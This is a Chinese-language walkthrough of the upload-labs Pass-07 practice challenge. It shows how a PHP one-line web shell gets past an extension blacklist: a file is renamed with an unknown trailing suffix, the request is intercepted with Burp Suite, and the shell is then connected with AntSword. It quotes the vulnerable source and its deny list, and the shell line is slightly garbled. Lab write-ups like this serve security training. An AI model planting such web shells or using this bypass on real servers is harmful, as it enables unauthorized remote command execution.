upload-labs/Pass-07 漏洞复现
页面:
我们看到有一个图片上传功能。
我们上传一个png文件发现能够成功上传,那其他文件呢,如php文件。
我们看一下是否能上传一个php文件:
php文件内容:
<?php@eval($_REQUEST[])? //一句话木马phpinfo(); //查看php的版本信息
?>
点击上传:
显示文件类型不允许上传。
我们使用burpsuite抓一下包,修改一下文件类型为image/png
:
我们发现还是不能上传。
所以我们猜测此处对后缀名做了黑名单或者白名单过滤,如何查看是黑名单过滤还是白名单过滤呢?我们可以在php文件后面随便加一个后缀(随便写):
例如我们这里写的是info.php.ghui
:
我们发现文件成功上传,此时我们可以确定后缀名做了黑名单策略。
查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
可以看到代码中做了一个后缀名的黑名单过滤。
我们在现在查看一下我们刚刚上传上去的文件,上传的文件路径在upload
下:
我们点击查看一下:
发现phpinfo();
成功执行了,这是因为后端识别不出来我们加的.ghui
后缀名,所以就会舍弃.ghui
,那么就变成了info.php
,所以php代码就成功执行了。
那么是不是一句话木马也执行了呢?
我们使用蚁剑进行连接:
我们就可以打开虚拟终端执行命令了:
完毕!!!